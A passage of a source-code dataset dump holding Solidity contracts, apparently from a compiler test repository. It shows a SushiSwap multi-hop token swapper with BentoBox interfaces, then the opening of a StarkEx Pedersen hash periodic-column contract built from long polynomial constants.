uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path, bytes32 pairCodeHash) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i], pairCodeHash);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// File @sushiswap/bentobox-sdk/contracts/[emailprotected]
// License-Identifier: MIT
interface IBentoBoxV1 {
function deposit(IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share) external payable returns (uint256 amountOut, uint256 shareOut);
function toAmount(IERC20 token,
uint256 share,
bool roundUp) external view returns (uint256 amount);
function toShare(IERC20 token,
uint256 amount,
bool roundUp) external view returns (uint256 share);
function transfer(IERC20 token,
address from,
address to,
uint256 share) external;
function withdraw(IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share) external returns (uint256 amountOut, uint256 shareOut);
}
// File contracts/swappers/SushiSwapMultiSwapper.sol
// License-Identifier: GPL-3.0
contract SushiSwapMultiExactSwapper {
using BoringERC20 for IERC20;
using BoringMath for uint256;
address private immutable factory;
IBentoBoxV1 private immutable bentoBox;
bytes32 private immutable pairCodeHash;
constructor(address _factory,
IBentoBoxV1 _bentoBox,
bytes32 _pairCodeHash) public {
factory = _factory;
bentoBox = _bentoBox;
pairCodeHash = _pairCodeHash;
}
function getInputAmount(IERC20 tokenOut,
address[] memory path,
uint256 shareOut) public view returns (uint256 amountIn) {
uint256 amountOut = bentoBox.toAmount(tokenOut, shareOut, true);
uint256[] memory amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path, pairCodeHash);
amountIn = amounts[0];
}
function swap(IERC20 tokenIn,
IERC20 tokenOut,
uint256 amountMaxIn,
address path1,
address path2,
address to,
uint256 shareIn,
uint256 shareOut) external returns (uint256) {
address[] memory path;
if (path2 == address(0)) {
if (path1 == address(0)) {
path = new address[](2);
path[1] = address(tokenOut);
} else {
path = new address[](3);
path[1] = path1;
path[2] = address(tokenOut);
}
} else {
path = new address[](4);
path[1] = path1;
path[2] = path2;
path[3] = address(tokenOut);
}
path[0] = address(tokenIn);
uint256 amountIn = getInputAmount(tokenOut, path, shareOut);
require(amountIn <= amountMaxIn, "insufficient-amount-in");
uint256 difference = shareIn.sub(bentoBox.toShare(tokenIn, amountIn, true));
bentoBox.withdraw(tokenIn, address(this), UniswapV2Library.pairFor(factory, path[0], path[1], pairCodeHash), amountIn, 0);
_swapExactTokensForTokens(amountIn, path, address(bentoBox));
bentoBox.transfer(tokenIn, address(this), to, difference);
bentoBox.deposit(tokenOut, address(bentoBox), to, 0, shareOut);
return (difference);
}
// Swaps an exact amount of tokens for another token through the path passed as an argument
// Returns the amount of the final token
function _swapExactTokensForTokens(uint256 amountIn,
address[] memory path,
address to) internal {
uint256[] memory amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path, pairCodeHash);
_swap(amounts, path, to);
}
// requires the initial amount to have already been sent to the first pair
function _swap(uint256[] memory amounts,
address[] memory path,
address _to) internal virtual {
for (uint256 i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint256 amountOut = amounts[i + 1];
(uint256 amount0Out, uint256 amount1Out) = input == token0 ? (uint256(0), amountOut) : (amountOut, uint256(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2], pairCodeHash) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output, pairCodeHash)).swap(amount0Out, amount1Out, to, new bytes(0));
}
}
}
| 74,505 | 11,313 |
800587771064805e8b507bb36ef43742fe30658b23dcce362e57bd083b40e132
| 63,681 |
.sol
|
Solidity
| false |
611715548
|
matter-labs/era-compiler-tests
|
ea5134338da679cdf346c540fb90c83e6dd8d44d
|
solidity/complex/defi/starkex-verifier/cpu/periodic_columns/PedersenHashPointsXColumn.sol
| 36,116 | 56,285 |
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
contract PedersenHashPointsXColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0x549a83d43c90aaf1a28c445c81abc883cb61e4353a84ea0fcb15ccee6d6482f, mulmod(add(0x6f753527f0dec9b713d52f08e4556a3963a2f7e5e282b2e97ffde3e12569b76, mulmod(add(0x233eff8cfcc744de79d412f724898d13c0e53b1132046ee45db7a101242a73f, mulmod(add(0x60105b3cb5aab151ce615173eaecbe94014ff5d72e884addcd4b9d973fed9fd, mulmod(add(0x295046a010dd6757176414b0fd144c1d2517fc463df01a12c0ab58bbbac26ea, mulmod(add(0x4cec4cd52fab6da76b4ab7a41ffd844aad8981917d2295273ff6ab2cce622d8, mulmod(add(0x43869b387c2d0eab20661ebdfaca58b4b23feac014e1e1d9413164312e77da, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4ccee6b6ecd4ea8733198e95935d13474d34cf54d7631fde59720e40378e1eb, mulmod(add(0x6fcf0e32e3e99f51d8cdac9c19cc25179eb97f2757844fa0c72e7c3bf453e4, mulmod(add(0x479c09d33c38f1c8f73247aace507da354ae87ca5cd4aa096bd3a6229e3006d, mulmod(add(0x70454f9541d96fc1552f984330389ff616cf80eaf699ba2e82b77f43fd163a, mulmod(add(0x19b7924c29a944ecb61165a663d76d84e5ce44b4617fdbca8ff02fbdea6deba, mulmod(add(0x71e67bd6a0b1b8518cb06837a78b92ab3dec98c4989f946285042655ffe516e, mulmod(add(0x4259be645aaf0a661e7877276fa5559ed7d04349f577595702efed3050402c5, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5975b93cee7a147a93cc98aabbb713f151924c4ede3306bb5e14e5e4d5d5c05, mulmod(add(0x52b5bdbcf28603ba60abcbf52bd4f7b4988ce0b4e2346e4875a3f117d4143b4, mulmod(add(0x394d0eed011068acc2f55f541c4d113a9c0afe7269cd7d9711aa7e8be661a60, mulmod(add(0x4d44944716e0e13728fa8b84fde421f0f66a120ed2b7cfcf59f5ff6718b8b6c, mulmod(add(0x1e2c5c3fb2b47ea8cf33099c610f6132a5dd7099d29b02f4a041fe5947ff53b, mulmod(add(0x4183c04ef7d778f11e57b44c1a7f354c4497f1e3d420d3fa9f9c27c4bb58759, mulmod(add(0x627cb37206e5ee9da20c04a92cc765e3bd3f3d4e42ad4de0d709f366d446d8e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1e3e1d970342085c482175cf60d93e1cc2cf96dec12f1d839b9b829cc957b7d, mulmod(add(0x1c7c40b6e4cd3d473e8f84b8fa63610ac6c7e3f4f0017f3ed84eae8f042bf15, mulmod(add(0x7f9850620a3435695ec7a6d9378cfe218ab0e5fa674cdc572fb9c197b0dbd25, mulmod(add(0x3485ad12aa365fac51a6296931abdcb54fa848c587cfbfe5bdbad2d6f6d3bd3, mulmod(add(0x32bd55700baf7283995407f470139326a670d60a5d5428904596584629a053d, mulmod(add(0x7cbef72611c8e1e08e52ca202382a8545bc7fe124ec080058988e45771e3b40, mulmod(add(0x787053fc3649b17965b9e6ef5e05e024cdc188e90aef1cbf13ba78542a0407d, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x468b88ba32ca1eac6c8d3196eea0561e25770818221ed0da3ae749e2a302e, mulmod(add(0x6aacb14e31ebb5066e78eb597842812d7ad137880a6dd0d065c4acee231b7c3, mulmod(add(0x2a0c1eade4037c10729bdc8a8f38bb5bf359078eedba633047377a09b6cde4d, mulmod(add(0x724a3072c9f315cba63e5d99034b3218ff29a9bbf04155060ebdd6c848a652, mulmod(add(0x5efc7dfab3ad0b3f01e313c50ced95363d8dbaa9f91f801d6f1f00869467a16, mulmod(add(0x31b8dd40040d22aae383c1e628e427f7aa4a7b0c3a83f815fd7ae2b36864af0, mulmod(add(0x2d1547488e174e0a8662decd2cf020dd40718f070c84cf36bfa261aa90f814, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5e56f3654b68256095b54a7868763aa3ff60a98ea3508039def82d2098d8a6d, mulmod(add(0x751a8c7382e8fc0141b4ec5bf37fa457ab8301640b58cfc3b6a0b8d1a12bec2, mulmod(add(0xa8db86341624832893780e36fe1f60490da5768f9aeb2a5803240f29ec5a2, mulmod(add(0x126a03f3c5cbe523484111d915d6d7eab5edad02a327a383171be09597336b4, mulmod(add(0x41e1c8870eea4b7f4308e8173f97482d80afd055f07b1a058f182a775aef593, mulmod(add(0x2bec10dd6a541c12555ff040b5949407713b4227867f53a435e80847b7932f0, mulmod(add(0x5b52f487f8c3d78fb6ea4be227325a7386c7e95cd5f9b72710cfcc870cbba59, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5f4ed6b86202d76686a0b4c1efdfc93c46dce1b843c7181d1db1f8cd4d6dfb, mulmod(add(0x1ec66f3f326120e659b78867bdfd7dac4dd3f1a92ffeaf46d39725de341afd4, mulmod(add(0x2b783063fa1948abfa91d79d225d52ed2ddd11bf20fc388b1ec00fdb5867921, mulmod(add(0x538392c6ca2c04b5096aa69392b76ff109aabe165df488f3d1a8e5c4022db64, mulmod(add(0x40c43992a86359c71f5b8051d84d1fd6971eb36ab486f321a1fc50a52a02a44, mulmod(add(0x4efe82f8cacf9761cac9fefb6c13c1afdaed68ee650c37684bfce323070e480, mulmod(add(0x60a9a4ccb72bde44d8a6c5f1d7b9303cc32013ef621bce1b8af413f00e77ef2, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7775ec7b0ee9812c8df83957c5b46c316fdac82a2d736d4a6eea6124abc5849, mulmod(add(0x775ad15685181f15e34a6b0036c16fc8d1a9860ced1cc5ece39d19a6add939b, mulmod(add(0x3f6f9a9c3f6e175b59fd8e4268a6ae5734034fb1d7c43f97ef474b75ba80cc8, mulmod(add(0xa64b536ff29309d613af1c27c7229c3f6c583471c6b589b25026db08d3767a, mulmod(add(0x1c5110241881e087e201d211da338d8377dd228afbd84850b76f3e5dfeb9361, mulmod(add(0x4e57c6677d3bd56b425a3b3a92517344d4875e1710667e3dee1954395269af, mulmod(add(0x34b9f6e8d5debbb4aea334310dc8d8075f896e7eb9f1c09788c7ec62ccb6116, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x16b450dd2bb4712f6412b35603aaa02e7345124e5fd13e919c269f3874970f9, mulmod(add(0x6713ddde3f2da61b676f5e4c52177bfc8c1576bc97ab3c48f08ff02d26cc03e, mulmod(add(0x6dc0d996fc95036c8cfa408fb12793bf8a4773d698f55085c2ccbc906c6d2d0, mulmod(add(0x57f8ef270683ea78b167dcbe5bb122a79ba760c95f8103dc4c6e7788fb1ac9c, mulmod(add(0x7fd8c6108133b8109f4058192bd614b5de2c50afe7ac08a7bb0e0b12ef04e4f, mulmod(add(0x67649ac75ea692acb3aa4432d48de15aacfa347a37afdf489cc7e954e4ab100, mulmod(add(0x41f320f863037e381ff83f2c9f1a8ae2802fc22cfea674d9cfd10171da6dea8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3394eac0b3787b323686cddaef3af972d7fbbd75940bf7f682b8fe3676cd46b, mulmod(add(0x218bc11c668ef7ae5f04a16dc9933c5bc41c194a439d0af802568e598c54630, mulmod(add(0x597cee65bc7c6f0faa3e0aa1958897acf7fd4e4e69569f5d18254b0b8c09aab, mulmod(add(0x9b478a0767cca2c6f9b4268bffc9e907eb69b32f8ff7b43fc24edd38a88ec2, mulmod(add(0x5d122cd95f43fb6fc2373ef7e66072140f0f20d552f186faff2622b55a3e063, mulmod(add(0x33f4151b710663772765df7f95b3710c3e8e81bacdbe3729b0a43b6d19e428c, mulmod(add(0x5f81b087ad750a0ebddd5239bb3682c84d88326b4679a24890f5fec98df45a, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5142430fc3f872dd6fefb7e9804e3e63714f71a2f43b155cebc53671f964af, mulmod(add(0xf78d4b72e0f5f55913884d0714674dd6f534b211ec5dcdba419347828c7c35, mulmod(add(0xf8ea3b2c0b72747301b2778cc071cb9d2e09bbdd7a386b7931582ab412dbd1, mulmod(add(0x22d4ed1a29943bc16343e01eab25e45adf74b6a7072e4e26aa8d141f2cac5ca, mulmod(add(0x63372394d373e7a2f2fa6405509da05fe9cb546ea2742ac0716bccf50ad9227, mulmod(add(0x5db68a5c4527fff0ebf61fe064888b0fb6e277cfecca6d206986293256f31f, mulmod(add(0x4aeb3836ccb2a9ebf9f1c5b6ee3c42f66c8059cc55188335a47a3583d986018, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x597cbefb648f47e763b9b1be8c3f815a0e8b65d0101e11b5bedc380c10e9f4, mulmod(add(0x5744178090cdd56ae12fdd51b74bc097f23f735b7ca16e415a1854597b1caf8, mulmod(add(0x3c62720cac42a262b58765d7c0588231c5c2c9ce9d48f0fd547575289ede8c8, mulmod(add(0x2dc12726f7f06ef1adfb10747e5d4ef8052e4e57bad9bb10529d7994ef91035, mulmod(add(0x4180556f79a47df725eca2c2f65389e27281443847a7d9e84640e6d589182f7, mulmod(add(0xfd959b09bb704fe63c73e2331f8e76dc1fbf85c2dc9dcaa0e8108664f7f988, mulmod(add(0x72fe5010e70102306b21cc388b7f2ab8b0324b84654cf98032b83a81099e72e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3f61241934753ca9c4f4210885b87863abdc8637d4dafe5da4bfa5e0206988e, mulmod(add(0x3241fcabfd99b666b151970558fb59fdfca47ded4caf2af4b15839767edb190, mulmod(add(0x3609fff81e15da2a88036d1c2d28814035ce829430fabcc3986c08acdc2d44, mulmod(add(0x6348748d43d48acafb8ce688f25a1245df86dd20c3a96c5c85cfc0960ca2fa7, mulmod(add(0x29d152196b7ea7446182efe778a2db796f5fab17286405953476ac97f94a96a, mulmod(add(0x3cb89319d8172da012c036c40116fd325d65af69f80a1df8f56ec890e920592, mulmod(add(0x78e66ae8b3ef57289d92561dbe4ef72f4ee551d5cad363720a78d104a89163, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5e51a00b7437caee2acdb81781212bc3d1c397b477ec784d1a7b304c9f8c687, mulmod(add(0x23e127bf290465acfb7500962d426be5241f0e8c6f844d25aa8e262df6e70cb, mulmod(add(0x2a390a6737563e9edc22b0b0cce94a67adc10db18d6f978c826f24b8848c6df, mulmod(add(0x49eac48d453d5de07fe3f4bdb5aac21e7fe69858afedfbeb0daf175459dd9d7, mulmod(add(0x1f6bf768424619cc2d34c01cbf4e137b6cc33a4a5a3db0bc704f790f86ad67c, mulmod(add(0x43ef0fbc56a0a46c7099f5e6d6550a77e1ac023e2201f01bde0a3f5fb0f16a5, mulmod(add(0x6a16c0b648c72c8d718d53099cb11725ee09fe1b49487d8f55f307a6a265920, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x12f2b0b280b64cb9f6bd77cd5103b7668ae42e5d40ae156607c69043b4da5a9, mulmod(add(0x2fd6fab5c4d0e6bd5bf5b950632e2dfc3be19c9a80e3bf8934e878003b0816a, mulmod(add(0x62c2fa993dee607ef195fb6620051b4df127d933de3a417d21de3b0c6dfdc95, mulmod(add(0x3ea018d81f9118cb5cf251d6c795b4ca4aeeb28d6ea5464fb4807d219453728, mulmod(add(0x1c02d3ffc30c7172a132ac604ad28e89466845c139dba509b896c997ee4ce8a, mulmod(add(0x7aa1d2348e13a031dc4fa20d453fcd59eead9adbccc3ea64997d09a0f58216b, mulmod(add(0x6e52308f62433fe92ca9064e06aa17d793d3ad7bedb9590c8bb9edd3272fbae, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1868ebbc59cb1c69b32ea2b3a7ce3f87b680731b96a42403878df0a0e4bb3e2, mulmod(add(0x11076126b67298371103d89e76ec2fbe30b28c5de422e61d3fade2e190450a4, mulmod(add(0x2120274511adcc680703d33146477a31c42684b5163a628eb3f84258ae78786, mulmod(add(0x2dd7ddf328b439b3047a93c6fff6ef901946438cbb55a4c1fa1848f80baf2ce, mulmod(add(0x362dd19b8207511079a352fad991df9582315ca2539ed4da5cbb5b82e414fc5, mulmod(add(0x56f19df91009289c7f5304026cf6d2c26541cd4caf867b2d2ea8a954560ed7b, mulmod(add(0x51a3ba83e3f68b2df85f3b9e770b5294312fd634fa48ace215a029fdb5593, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5fb45888a7861e18a320bff7b0baee50ef9cbe1b06c78a5a16a6fbda3c6b77f, mulmod(add(0x5fec9e8e9ad35ec1091706f4f39c0e8a610f58be6c987c2327ce0794af7cb7c, mulmod(add(0x596104fc8bded038e39f0de5e80a2f2b65fd39fa4ab7b3453bbe8a40e06a317, mulmod(add(0x3b2efe16624d8d0a1beeb037b02f0a4f7e11eb3859852cea1f83ab1752a4099, mulmod(add(0xbdcc31feec5ca8cfbf7227269d1e120132c51307ec03cc2d59c471e2510a24, mulmod(add(0x13df9c113e40f246d806089e437629de52f8a247ece912785004efcafd4ea94, mulmod(add(0x5b7abf66fda1917e0e1d44924cb73d713b5fc16b3a64bd4857d089adfd6a814, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xdf2e87cea7f46ab09a5011d8afca4e7cb962e008fc991ea16d85c472dcf3ef, mulmod(add(0x4c9b9f2c154c6a8cb1fbf50793787d215f2857d042b21c6f5e2740732cca567, mulmod(add(0x3a7ada56cb16708c6eee7af3688765728c706a16baf61d0582186a3717ef552, mulmod(add(0x4db0795b76ed3b5cf3cbc23bc47d20abe9b9f76a2731f2774e6dd5ecd6eea05, mulmod(add(0x7c537f749e37ed15d7e5d5d0f88686c5d02242b6c487ae2c5606d2c7de986b6, mulmod(add(0x1f90c3eb7ed36bec79f803ab1884e5455581110ab713139cdb5207561a89a34, mulmod(add(0x2c15afc87ef81cb58ec29c7dd81b4cfe291e5d33a7b36126289a8ebc1af4eb4, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5eb4774b76a39af609243ea0ca61eaf03255a02d90be9a83901debf64875f0b, mulmod(add(0x14e46f8471beb6479fadac1286dc86683c659bf1c77dc96bcb303d48c115d7e, mulmod(add(0x6c9568c4a9f64874e71c88cc80576e4083f6d0649f66929612a9bb99bd958e1, mulmod(add(0x554563c23e6ec8a4497d670e81940a92ddad53c27e7bbc18de74d2b3734d824, mulmod(add(0x6c8258350c092e7b5cf658a6bed95d620afe0563482911a1435a93bcb0d5beb, mulmod(add(0x17eb7ae4a950bce2abe1e7165594eaa60be7b75cefd8007425a735264a1371a, mulmod(add(0x4df83db997cffc8598b838a9c8373bfff5e109d71ee3bf2a18dc0e621e93d2d, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xcfff274a78e56ec27e29d01f2e900bd226cdb493a83358f9b807235c9aa407, mulmod(add(0x19eec9d276c006f19cfa904a4e2ead857e99000d16e897dc8dc955c57615d54, mulmod(add(0x40d8fb43bbc7e5c35e4b57fef4e8351ffb118c9d92346f97ff7cb48b0170eff, mulmod(add(0x3f26981ddcd3549baf47e3f1242b0bb90d6b7f426ba71d2ce628ceb801f3734, mulmod(add(0x3b69a8579df2cea96435a07c81ae1d9f8a5e0e52433335c3e7ad81b76789788, mulmod(add(0x6cfe464b2a4d4e77c09e0beceb4e368bd93aae5efaddbb92e003afc508fcb33, mulmod(add(0x3317e8a32e8f82246423237d2a4039eba358a76adb8065751b6d7939fadb85c, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5950e4370508dbfa764621025e9341994a3ac21848f3e39d02370b193ba6937, mulmod(add(0xa89bb9df4a46c56f2f40748d826d50285082118f8995f5e7638a05ec117c47, mulmod(add(0x5a5085cb551c472af264b5de50ebb7b4bb04539c9afac1339f903b943578eea, mulmod(add(0x40a9f47d93280a641e7f903b1e608cb443ed5d59f24cde6b92c6631cab1e009, mulmod(add(0x40508ab9b5b8d885f85750bb659071d6cc04639f43070b94a802d41723bd0f3, mulmod(add(0x2ea5039159478e68762063624b0f396cb7f1bbfe8c1a159f65f0f663f219136, mulmod(add(0x13d4454abb9515f00c3daa6034ed3759ea722a953679c4f857511141b87da93, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x46df5faa750270394a4253e63ba3e437550ee216ebf8ddbbd7304940c85ad02, mulmod(add(0xa9c2bf87d58d3f72d985b4b1129f0a1664caac1ee26a15675d1a5086de3a79, mulmod(add(0x6d49bd35b4e4aa46b7098d306632014b4fbfd84892d6997b58d9463a0ea2c05, mulmod(add(0x66490371a5dfa3fb85bf3f088b89614b5e56cafc263eec39dc4a1bb39e03433, mulmod(add(0x411f9def562556de87d47af60354512d9a1261152e7f4636038699d468fc2bb, mulmod(add(0x42271e06f205c1bfc9f9d9411bf835f43941c88aa3dc75f044a0143faa4d5cc, mulmod(add(0x6f20da2f1a25f1fab33e7856067226784ad992f8bb53249ee7bb17e86c82070, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5519091c464bab5646294ae41d087ddcef8bd0508a94a07890fa07220bdaad3, mulmod(add(0x2761e32194ddef695d1837c8a3f48a3773ae392b5633bfa0c1451e51e33b69b, mulmod(add(0x6fd73eabd21a86dd8094dd0ebb5924b1aab0753a0d251571ea93f83ab4bd519, mulmod(add(0x40ba0e2f504aa0e9972018d91be21f56bde16361282915563796c750f8936b7, mulmod(add(0x6933ce3f88628188f7a1b1be5b0506dedadd9559c4766be0e7db1ace3adb592, mulmod(add(0x5d9acf8582d4ccc017af36a8a9863e4383b63893d3fb5d81f7fabf4ba3d1023, mulmod(add(0x6e5bf767f3b0646dc16377f3bb7c17db6069555e100dd2215eb20c4d29fb1c3, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x20a06257ccfa90a74adf9bb1130a8385b8c91bc61e18acc30843463e5abaa2, mulmod(add(0x4a94669a4901cb5527124a2dc7ff6c278d540da41a95e819d0ca10269f7b380, mulmod(add(0x5f7da39edb0781ca1f96af191cf4c70fe0c121b7b2c92f09b49503bb070dc99, mulmod(add(0x591ad3fb7ab83f8d9fcf184ab793baf3db128cda0de1618932851108771cf0d, mulmod(add(0x3512eb8a3bbded6fad1c19190d857629efc56f93fb4aa527e2958dfcce12153, mulmod(add(0x7692b996dcfecd35db6aa22de10144724c478f85a328ab893c6fbadf43d7a9e, mulmod(add(0x3b160cef807b72e95938852093a3a633e72b61e0afad5099201885b54be4098, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x46d1e806178137e82ea97c54d8c15dd45c2a9a0082b18aeb9f849158ffc0ee5, mulmod(add(0x7991462c103abfc3bc31427227b1fb82f7fdf2be1b39316f46e3baef2fcf588, mulmod(add(0x525fee2e2cdb7a293f50f630a840d5cf5f29a158eadd6fa9d0159951712d19a, mulmod(add(0x8c2c75a2fe00432f77ef57e906f264ea76c439e0c4cb19e87867a6ebb34d0a, mulmod(add(0x796c9b073e2c56f55601eb1f6147d028553275e9fb792f0b76007c9710459c7, mulmod(add(0x578dfc700a95a564b41ba8f33b885ad04209bf5169a4046f603a3d84f792d6d, mulmod(add(0x7e3c052c620ef7fcf180898d28e39348e96e92ed0634dcae3f5fc64be5094a6, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2959a6947bc4eee0135bbd0a6f2053b62317a1718bcceecbd507417d31e8806, mulmod(add(0x4ffe8275d3344b4ae2f7d9992d68598e50f365c0b8a721d723841485fc25c0d, mulmod(add(0x8c5762a12210a7fdc96a7d3aa966476d3b28650e7c49fc90f95e49a80d4324, mulmod(add(0x48294f41052135cca94fcf88cf236437b8a55370c3de81fb0d781aa7b0f8eca, mulmod(add(0x25fc8ba8ab421b6dacf2ce03263e037374e4d61c6ce26422fbcb2e755c0d9c4, mulmod(add(0x1e3d7c65a8f40b6f8aab1635e3b78d0f798746532f08771267a9b6149632a5a, mulmod(add(0x25a127bbf961fe2b5bd9facbda706223206c40acff003152cbb3b28e9668030, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5fde2cdf0d23d5649e3aead1b2b90ca0309715a029654e8984e43de7bde7b06, mulmod(add(0x4159f8056bde7fd4f72615f7bdd0bb6408256b8b216ca52fee253113d9d007c, mulmod(add(0x703c768145191a10344e5ca400be8fd249e653d564015d46fcd7096cb723a0, mulmod(add(0x22b5eab11c9e1e6b8d64d5db4b12502fdf0899497f72ee1a27c8797b617f76d, mulmod(add(0x2d2e43c0ad60d4265774479258211274ae32b5e151aacf6f8ac1b7708076f09, mulmod(add(0x73796a0ce0fe851bc22b99faded48a24a21745bb62603e750f78b854d7c32c7, mulmod(add(0x77efd8893058f8e00863205582a5e274c344b9af63b9c40ddd92c97c33b52ea, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1d46036b736e06016c817d2b51a0918189881a4f1b7c71d556db583df762d37, mulmod(add(0x2edf44b1f59efb0f36c0fce5edbb7576c89cb9f191300fc5e0240def1b88b9d, mulmod(add(0x5c1e733995aad208f0697e4d2a6e28bec9fddc3e30bd033f2f50a83927baef1, mulmod(add(0x3481879ec47fc8cfabf38ffaa75311c787b7006e7f9def35e96454263bba4aa, mulmod(add(0x575fb11a4d7e3876ae4c86b80b4b9530e0d3e9db218f4d5644f612348f8f002, mulmod(add(0x3333c3d925d8c58b9e4e533531e93046039577cf0e57d011c7ce87c6ef1a835, mulmod(add(0x50372d2aff2ebc566505a564d971c6491095e009d9887899aee0b5017fcb877, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x566edfbe3c59cbd43838ee245edfebe292c7163f79b1454b03ef3cf8af23c10, mulmod(add(0x7fd44af0ef24f061aa7dd5bbde15098dfc3721790ee9bac2caa71cca714ebf0, mulmod(add(0x1765a9eca4f4551f177b35089f8befc808613bbcd971a47d485b1c220d0bbb4, mulmod(add(0x31abb6310a44d65ac8c308011d4afab938fdacfbaec14c62b808452310b799b, mulmod(add(0x18d0f552fd62f81b6076265c7a3a0b81f6bd37152a2f16c71210021ecf68468, mulmod(add(0x4219a0a13e09662f3ec712da51b36967947f6d5a09d8044e3005a7f0ab45915, mulmod(add(0x258ef77b90879282ccc2ffcea5052cad266d77b75db36b7996e5fe7638e9b00, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
